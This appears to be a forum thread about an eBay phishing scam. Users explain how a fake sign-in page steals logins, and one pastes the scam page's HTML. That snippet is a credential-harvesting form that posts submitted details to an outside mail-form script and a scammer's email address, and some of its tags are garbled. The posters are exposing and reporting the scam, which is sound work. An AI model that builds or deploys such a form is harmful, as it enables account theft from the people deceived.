I think it's just to steal your login and password.

I'd imagine, if it's anything like the majority of all other scams, it'll take you to a page asking you to log into your ebay account. It'll look exactly like the official ebay sign-in page, but instead of signing you in, it'll send your login details to the owner of the page, letting them log in as you...

Yep, spot on

The source of the page indicates that the action taken when you click submit is that it sends it to the scammers email address. I've reported it though, so shouldn't be up for too long

This is the code:

<FORM action=http://www.into.ch/cgi-bin/mailform.exe method=post target=_blank>
<P cass=MsoNormal><SPAN style="DISPLAY: none; mso-hide: all"><INPUT type=hidden value=fetebine@mail.com name=_1_Mailto></SPAN><SPAN style="DISPLAY: none; mso-hide: al"><INPUT type=hidden value=User name=_1_Mailsubject></SPAN><SPAN style="DISPLAY: none; mso-hide: all">IUT type=hidden value=https://signin.ebay.com/ws/eBayISAPI.dll?SignIn&UsingSSL=1&pUserId=&co_partne rId=2&siteid=0&ru=http%3A%2F%2Fcontact.ebay.com%3A 80%2Fws%2FeBayISAPI.dll%3FReturnUserEmail%26contac tsubmit%3DContact%2BMember%26MfcISAPICommand%3DRet urnUserEmail%26frm%3D279%26iid%3D-1%26requested%3Dgthrgegr%26redirect%3D0%26de%3Doff &pageType=222 nam=_1_SuccessDocument></SPAN></P>
